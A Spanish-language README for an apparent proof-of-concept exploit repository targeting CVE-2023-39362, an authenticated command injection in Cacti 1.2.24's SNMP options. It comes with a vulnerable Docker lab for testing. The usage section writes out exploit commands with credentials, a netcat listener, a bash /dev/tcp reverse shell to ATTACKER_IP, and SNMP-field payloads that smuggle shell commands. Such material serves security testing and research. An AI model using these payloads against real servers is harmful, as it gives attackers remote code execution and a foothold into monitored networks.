
Exploit de prueba de concepto para CVE-2023-39362, una inyección de comandos autenticada en las opciones SNMP de Cacti. Incluye un entorno Docker vulnerable para pruebas y un script Python para explotación automatizada con capacidad de shell inversa.
Este repositorio es un fork de este repositorio: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
Cacti es un framework de monitoreo operativo y gestión de fallos de código abierto, en constante evolución para satisfacer las necesidades dinámicas de su comunidad de usuarios.
En la versión 1.2.24, se ha identificado una posible vulnerabilidad de seguridad marcada como CVE-2023-39362. Bajo condiciones específicas, un usuario autenticado con privilegios puede explotar una falla en las opciones de SNMP de un Dispositivo utilizando una cadena maliciosa que conduce a una inyección de comandos. Esta explotación resulta en la ejecución autenticada de código remoto en el servidor subyacente.
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
Las implicaciones de esta vulnerabilidad son graves, ya que un actor malicioso con privilegios autenticados podría comprometer la integridad del servidor que aloja Cacti. Este compromiso podría servir potencialmente como puerta de entrada para acceso no autorizado a otros hosts dentro de la red, especialmente aquellos monitoreados por Cacti.
Esta es una aplicación vulnerable para probar el exploit de la vulnerabilidad de Cacti (CVE-2023-39362).
¡Esta aplicación contiene vulnerabilidades de seguridad graves. ¡Úsela bajo su propio riesgo! Se recomienda utilizar un entorno respaldado y protegido (como una máquina virtual con una instantánea reciente y redes solo de host). No cargue esta aplicación en ningún servidor expuesto a Internet, ya que se verán comprometidos.
No me hago responsable de la forma en que alguien use esta aplicación. El único propósito de esta aplicación es ser un escenario de prueba para el exploit de CVE-2023-39362 y no debe usarse de forma maliciosa. Si su servidor se ve comprometido mediante la instalación de esta aplicación, no es mi responsabilidad, sino de la(s) persona(s) que la cargaron e instalaron.**
Aquí los pasos para configurar el entorno:
docker compose up -d para iniciar la composición.admin/admin.admin.guest.guest para probar el exploit.La guía de instalación oficial de Cacti se puede encontrar aquí.
Para desmontar el entorno use el comando docker compose down.
(Esta es solo una posible ruta de explotación)
Ejecute el comando en el servidor remoto:
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
Abriendo una reverse shell:
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'./tmp la presencia del archivo creado.Para obtener una reverse shell, se puede usar un payload como el siguiente.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
Una causa raíz detallada de la vulnerabilidad está disponible en el aviso de seguridad original o en la entrada del blog del autor original.
Este proyecto está licenciado bajo la Unlicense - consulte el archivo LICENSE para obtener más detalles.